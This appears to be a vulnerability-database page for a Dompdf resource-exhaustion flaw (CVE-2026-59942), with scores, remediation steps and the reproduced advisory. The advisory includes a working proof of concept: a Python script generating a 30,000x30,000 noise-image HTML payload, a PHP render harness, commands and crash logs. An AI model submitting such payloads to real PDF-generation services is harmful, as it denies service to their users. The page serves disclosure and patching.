Skip to main content

Dompdf EUVDEUVD-2026-50060

| CVE-2026-59942 MEDIUM
Uncontrolled Resource Consumption (CWE-400)
2026-07-22 https://github.com/dompdf/dompdf GHSA-f5gf-2cj8-52g2
6.3
CVSS 4.0 · Vendor: https://github.com/dompdf/dompdf
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft 30,000x30,000 high-entropy PNG as Base64
  2. Delivery
    Embed data-URI image in HTML payload
  3. Exploit
    Submit crafted HTML to Dompdf render endpoint
  4. Install
    Dompdf passes dimension check, enters render phase
  5. C2
    PHP allocates ~1.2 GB uncompressed bitmap
  6. Execute
    OOM Fatal Error terminates PHP worker
  7. Impact
    Service denial achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerable condition requires that: (1) the application passes user-controlled HTML to Dompdf's loadHtml() followed by render() without sanitizing or size-limiting embedded data-URI images; (2) the PHP process has sufficient memory headroom to reach the fatal allocation attempt (the PoC uses -d memory_limit=2G to demonstrate the bug, but lower limits accelerate the crash). No special server-side configuration is required beyond a standard Dompdf integration. The attack does NOT require isRemoteEnabled=true because the malicious image is delivered inline as a Base64 data URI, bypassing any remote-fetch restrictions entirely. Exploitation is limited to availability impact only - no code execution path has been identified. Defenders can reduce exposure by ensuring Dompdf render endpoints require authentication, enforcing request body size limits at the web server or load balancer layer (e.g., nginx client_max_body_size), or validating that HTML input does not contain large data-URI blobs before forwarding to Dompdf.

Impact

Real-world risk is moderate-to-high for PHP applications that accept user-controlled HTML for PDF generation. No CVSS vector was provided by NVD or the vendor advisory, so metrics below are independently assessed. The attack is entirely network-delivered, requires no authentication at the library level, and the PoC is complete and public - the researcher demonstrated repeatable exploitation with a Python script. There is no KEV listing, but the combination of a public PoC, no authentication requirement at the input boundary, and a single-request crash vector makes this straightforward to weaponize. The impact is constrained to availability (no code execution, no data exfiltration), but a single crafted request can terminate a PHP worker, and in environments without worker pooling or request size limits, this can take down the entire PDF-generation service. EPSS data is not provided; given the niche library footprint the probability of widespread automated exploitation is likely low, but targeted abuse against known Dompdf deployments is plausible given the public PoC.

Exploit ScenarioDerived

An attacker targeting a web application with a public-facing 'generate PDF from HTML' endpoint submits a POST request containing a crafted HTML payload with a 30,000x30,000 pixel grayscale PNG encoded inline as a Base64 data URI. The PoC Python script to generate this payload is fully published in GHSA-f5gf-2cj8-52g2. Dompdf passes the dimension check but exhausts ~1.2 GB of memory during rendering, crashing the PHP worker process with a Fatal Error, resulting in immediate denial of service for all concurrent users.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 22, 2026

Resource exhaustion in Dompdf v3.1.5 allows remote attackers to crash the PHP process by submitting a crafted HTML document containing a high-entropy PNG image encoded in Base64 at dimensions of 30,000x30,000 pixels. The attack bypasses Dompdf's dimension validation by exploiting the gap between the early-stage dimension check and the unbounded memory allocation during the rendering phase, forcing ~1.2 GB of uncompressed bitmap allocation that triggers a PHP Fatal Error or OS-level OOM kill. Publicly available exploit code exists (full PoC published in the GHSA advisory); no confirmed active exploitation in CISA KEV at time of analysis.

RemediationAI

Upgrade to Dompdf v3.1.6 immediately via Composer: composer require dompdf/dompdf:^3.1.6. The patch (commits 7c65e7bbeccf146b2409740405af73949ad129d0 and 89164eaabe0bb50c462f0b24f740044ba5fb0f99) introduces an imageByteSizeLimit option in Options.php that defaults to the PHP process memory_limit, and adds pre-render byte-size checks in both Image/Cache.php and AbstractRenderer.php that reject images whose estimated uncompressed size exceeds that limit. If immediate upgrade is not possible, apply the following compensating controls: (1) Validate and reject HTML input containing data-URI images exceeding a configured size threshold at the application layer before passing to Dompdf - this prevents the crafted payload from reaching the library but requires custom middleware; (2) Set PHP's memory_limit to a conservatively low value (e.g., 128M) to reduce the window for allocation abuse, noting this may break legitimate large renders; (3) Run each Dompdf render in a separate subprocess or queue worker with resource limits (ulimit -v, cgroups) so a crash does not take down the main application process - this contains the DoS blast radius but does not prevent the crash itself. Advisory and release: https://github.com/dompdf/dompdf/releases/tag/v3.1.6.

Affected VersionsENISA

dompdf < 3.1.6

Affected Packages

composer dompdf/dompdf fix: 3.1.6
euvd dompdf fix: 3.1.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dompdf (composer package dompdf/dompdf) is a PHP HTML-to-PDF conversion library. The root cause is CWE-400 (Uncontrolled Resource Consumption): Dompdf's image processing pipeline validates pixel dimensions early in the pipeline (in Image/Cache.php) but does not enforce any cumulative memory or CPU budget during the subsequent rendering phase in AbstractRenderer.php and Dompdf.php. A high-entropy grayscale PNG bypasses PNG compression heuristics because each pixel is statistically independent, forcing full in-memory bitmap decompression. The affected code path is Dompdf::render() at line 490 of src/Dompdf.php, where the engine allocates an uncompressed in-memory representation of the entire 900-million-pixel canvas (~1.2 GB). The vulnerability is confirmed to affect exactly v3.1.5 (composer: dompdf/dompdf < 3.1.6).

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/dompdf/dompdf) PRIMARY 6.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Network delivery via crafted HTML POST, no authentication required at library level, availability-only impact with no scope change.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/dompdf/dompdf).

CVSS VectorVendor: https://github.com/dompdf/dompdf

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 28, 2026 - 21:22 NVD
6.3 (MEDIUM)

DescriptionCVE.org

Summary

Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).

While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.

Technical Deep Dive:

Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:

  • 100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream.
  • Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.

Details

The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.

PoC (Proof of Concept)

  1. Install Dompdf v3.1.5 via Composer.
composer require dompdf/dompdf:3.1.5
  1. Use the following Python script to generate the malicious payload (exploit.py):
python
from PIL import Image
import base64
from io import BytesIO
import os

DIMENSIONS = (30000, 30000)
OUTPUT_FILE = "payload.html"

def generate_noise_bomb():
    print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...")

    random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
    image = Image.frombytes('L', DIMENSIONS, random_bytes)

    buffer = BytesIO()
# Using PNG instead of JPEG to force full bitmap decompression in memory
    image.save(buffer, format="PNG")
    image_base64 = base64.b64encode(buffer.getvalue()).decode()

    html_content = f"""
    <html>
    <body>
        <div style="overflow:hidden; width:1px; height:1px;">
            <img src="data:image/png;base64,{image_base64}">
        </div>
        <h1>PoC: Resource Exhaustion</h1>
    </body>
    </html>
    """

    with open(OUTPUT_FILE, "w") as f:
        f.write(html_content)
    print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")

if __name__ == "__main__":
    generate_noise_bomb()
  1. Use the following Python script to monitor the system resources in a separate terminal (monitor.py):
python
import psutil
import time

def start_monitoring():
    print("[*] Searching for PHP processes... (Press Ctrl+C to stop)")
    try:
        while True:
            for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
                if 'php' in proc.info['name'].lower():
                    try:
                        pid = proc.info['pid']
                        mem = proc.info['memory_info'].rss / (1024 * 1024)
                        cpu = proc.cpu_percent(interval=0.1)
                        print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True)
                    except (psutil.NoSuchProcess, psutil.AccessDenied):
                        print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.")
                        return
            time.sleep(0.05)
    except KeyboardInterrupt:
        print("\n[*] Monitoring finished.")

if __name__ == "__main__":
    start_monitoring()
  1. Create a file named render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:
php
<?php
require_once __DIR__ . '/vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);
$options->set('isHtml5ParserEnabled', true);

$dompdf = new Dompdf($options);

$html = file_get_contents('php://stdin');

echo "[*] Starting Dompdf rendering process...\n";

try {
    $dompdf->loadHtml($html);
    $dompdf->render(); // Point of resource exhaustion
    echo "[+] PDF rendered successfully.\n";
} catch (Exception $e) {
    echo "[!] Render failed: " . $e->getMessage() . "\n";
}
  1. Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:
php -d memory_limit=2G render.php < payload.html
  1. The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.

Proof of Concept Results

https://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b

The following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.

Payload Generation:

python3 exploit.py
[*] Generating 30000x30000 High-Entropy Noise Bomb...
[+] High-entropy payload saved to: payload.html

Target Execution & Denial of Service:

Command execution
php -d memory_limit=2G render.php < payload.html
Output
[*] Starting Dompdf rendering process...
PHP Fatal error:  Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490

While executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:

python3 monitor.py
[*] Searching for PHP processes... (Press Ctrl+C to stop)
[MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%

Key Findings from Telemetry:

  • CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.
  • Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.
  • Bypass Confirmation: The telemetry proves that Dompdf's internal "safe" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.

Impact

An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.

Credits

  • Offensive Security Researcher: Fabian Rosales (far00t01).

Threat Intelligence Overview

EPSS Score
0.4%
Top 68% exploitable
Prevalence
Medium
popular PHP Composer library for HTML-to-PDF conversion
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

52
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy